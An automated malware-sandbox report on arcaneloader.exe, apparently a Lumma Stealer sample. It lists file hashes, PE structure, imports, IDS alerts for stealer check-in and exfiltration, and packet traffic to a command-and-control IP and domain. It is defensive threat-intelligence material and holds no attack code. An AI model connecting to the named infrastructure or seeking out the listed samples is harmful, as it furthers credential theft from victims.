Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: arcaneloader.exe

Simulations

Behavior and APIs

Time	Type	Description
09:03:02	API Interceptor	9x Sleep call for process: arcaneloader.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.155.47	xLauncher.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
frogs-severz.sbs	xLauncher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	injector V2.5.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	b.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	LummaC Stealer	Browse	193.143.1.19

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	unturnedHack.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	Unknown	Browse	104.21.70.128
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	xLauncher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	Aura.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	injector V2.5.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Unknown	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	xLauncher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	Aura.exe	Get hash	malicious	Unknown	Browse	172.67.155.47
	injector V2.5.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.736219294397836
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	arcaneloader.exe
File size:	507'392 bytes
MD5:	f6af7a6808f0e831fed6566c54b1e94e
SHA1:	c892db08342003ea729c89e4b763448999eb4f5a
SHA256:	131415b711a7dbe49af20022577ad51c271d75175e32547a8107a56d7462f1d7
SHA512:	ab42cb1b69028a5a3788aa82c526a4fd7278dd0c1859bd968b4c0594a6a8c940a68299dfc375d4288def9e0e62c90a3939b70903057ebe1adda2d6d58db462a5
SSDEEP:	6144:SJLDwnXc+nZ5tc5tpJgurXjjmNcEIwyg8XIcwgSzBC05fnP7UXnVgWXdqPmtLO4D:SJB+nneDgkXFEIJ0zzpfnQXlXlNeBsJ
TLSH:	F1B4F19E73A3D0B3E962183502D49B75092F7E700F24A9FB57540F692F3A6C28932E57
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...t.@g............................pX............@.......................... .......~....@.................................T...<..

File Icon


Icon Hash:	0d4f96872b517131

Static PE Info

General

Entrypoint:	0x415870
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6740AA74 [Fri Nov 22 15:59:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	887797384d81c493a9d8ee55dad3b2e1

Entrypoint Preview

Instruction
call 00007FE1D0F2155Ah
jmp 00007FE1D0F213BDh
mov ecx, dword ptr [0042B5F0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FE1D0F21556h
test esi, ecx
jne 00007FE1D0F21578h
call 00007FE1D0F21581h
mov ecx, eax
cmp ecx, edi
jne 00007FE1D0F21559h
mov ecx, BB40E64Fh
jmp 00007FE1D0F21560h
test esi, ecx
jne 00007FE1D0F2155Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0042B5F0h], ecx
not ecx
pop edi
mov dword ptr [0042B5ECh], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0042946Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00429430h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042942Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004294A8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0042C970h
call dword ptr [00429488h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x29254	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x80000	0x1de8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f000	0x1400	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x237c0	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x293c8	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2169a	0x21800	02aff72e65eaf052f891170e28598361	False	0.550606343283582	data	6.737058354414408	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x7264	0x7400	91e5fdecc510d2c4e72b1b50db3c2501	False	0.40641837284482757	data	4.769873714467996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x2068	0x1000	f9b2b4b1f63578440eedd0ace5ac94f1	False	0.484375	OpenPGP Secret Key	5.090094544660231	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.00cfg	0x2e000	0x8	0x200	160c8b290b62e5e566d05ce3bec76423	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f000	0x1400	0x1400	29fb367912ce622b91120c5cffd84495	False	0.81953125	data	6.557860970753822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x31000	0x4e800	0x4e800	01f8ec1bd8aac06321dfaa0fd7af4910	False	1.0003296675955413	data	7.999487492637194	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x80000	0x1de8	0x1e00	ff331c6468cd2ec8b30a579ec23d1204	False	0.9776041666666667	data	7.882227876387404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x800ac	0x1d26	PNG image data, 256 x 256, 8-bit gray+alpha, non-interlaced			0.9927633342267489
RT_GROUP_ICON	0x81dd4	0x14	data			1.05

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

CreateEllipticRgn

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T15:03:05.016322+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49707	172.67.155.47	443	TCP
2024-11-23T15:03:05.706014+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49707	172.67.155.47	443	TCP
2024-11-23T15:03:05.706014+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49707	172.67.155.47	443	TCP
2024-11-23T15:03:07.004777+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	172.67.155.47	443	TCP
2024-11-23T15:03:07.718873+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49709	172.67.155.47	443	TCP
2024-11-23T15:03:07.718873+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	172.67.155.47	443	TCP
2024-11-23T15:03:09.287935+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	172.67.155.47	443	TCP
2024-11-23T15:03:11.509699+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	172.67.155.47	443	TCP
2024-11-23T15:03:13.653451+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49718	172.67.155.47	443	TCP
2024-11-23T15:03:16.264662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49724	172.67.155.47	443	TCP
2024-11-23T15:03:16.992599+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49724	172.67.155.47	443	TCP
2024-11-23T15:03:18.795759+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49734	172.67.155.47	443	TCP
2024-11-23T15:03:22.293764+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49746	172.67.155.47	443	TCP
2024-11-23T15:03:23.048426+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49746	172.67.155.47	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 15:03:03.700448036 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:03.700495005 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:03.700572014 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:03.728261948 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:03.728290081 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.016222000 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.016321898 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.021338940 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.021353960 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.021750927 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.064135075 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.091238976 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.091264963 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.091547012 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.706048012 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.706193924 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.706258059 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.718024969 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.718060017 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.718076944 CET	49707	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.718085051 CET	443	49707	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.790715933 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.790781975 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:05.790851116 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.791239977 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:05.791254997 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.004704952 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.004776955 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.006500006 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.006519079 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.006951094 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.008872032 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.008894920 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.008963108 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.718950033 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.719140053 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.719199896 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.719227076 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.719255924 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.719355106 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.719408989 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.719559908 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.719609976 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.719624996 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.731385946 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.731479883 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.731507063 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.782866955 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.782901049 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.829754114 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.841342926 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.892244101 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.910516024 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.914248943 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.914314032 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.914350986 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.914503098 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.914623976 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.914671898 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.914691925 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:07.914705992 CET	49709	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:07.914712906 CET	443	49709	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:08.072496891 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:08.072560072 CET	443	49711	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:08.072637081 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:08.072973013 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:08.072999954 CET	443	49711	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:09.287843943 CET	443	49711	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:09.287935019 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:09.289724112 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:09.289755106 CET	443	49711	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:09.290008068 CET	443	49711	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:09.291354895 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:09.291555882 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:09.291601896 CET	443	49711	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:10.082015038 CET	443	49711	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:10.082124949 CET	443	49711	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:10.082241058 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:10.082261086 CET	49711	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:10.242746115 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:10.242801905 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:10.242880106 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:10.243225098 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:10.243241072 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:11.509596109 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:11.509699106 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:11.511059999 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:11.511079073 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:11.511310101 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:11.512609005 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:11.512777090 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:11.512809992 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:11.512862921 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:11.555339098 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:12.163614988 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:12.163717031 CET	443	49712	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:12.163769007 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:12.163856030 CET	49712	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:12.440454960 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:12.440490007 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:12.440733910 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:12.441056967 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:12.441066980 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:13.653271914 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:13.653450966 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:13.654858112 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:13.654867887 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:13.655128002 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:13.656806946 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:13.656980991 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:13.657005072 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:13.657085896 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:13.657093048 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:14.586110115 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:14.586215019 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:14.586278915 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:14.586472034 CET	49718	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:14.586491108 CET	443	49718	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:14.954044104 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:14.954101086 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:14.954158068 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:14.954463005 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:14.954482079 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:16.264547110 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:16.264662027 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:16.266228914 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:16.266236067 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:16.266478062 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:16.267924070 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:16.267924070 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:16.267976046 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:16.992599964 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:16.992701054 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:16.992815018 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:16.993136883 CET	49724	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:16.993156910 CET	443	49724	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:17.525717974 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:17.525758028 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:17.525862932 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:17.526176929 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:17.526191950 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.795692921 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.795758963 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.805001974 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.805023909 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.805241108 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.806476116 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.807223082 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.807255030 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.807378054 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.807410002 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.807555914 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.807590008 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.807701111 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.807739019 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.807856083 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.807885885 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.808015108 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.808044910 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.808053017 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.808065891 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.808307886 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.808336973 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.808356047 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.808614016 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.808654070 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.851334095 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.851475000 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.851530075 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.851552963 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.851571083 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:18.851593971 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:18.851608992 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:21.000606060 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:21.000703096 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:21.000747919 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:21.000863075 CET	49734	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:21.000869036 CET	443	49734	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:21.028065920 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:21.028105021 CET	443	49746	172.67.155.47	192.168.2.6
Nov 23, 2024 15:03:21.028163910 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:21.028443098 CET	49746	443	192.168.2.6	172.67.155.47
Nov 23, 2024 15:03:21.028460026 CET	443	49746	172.67.155.47	192.168.2.6
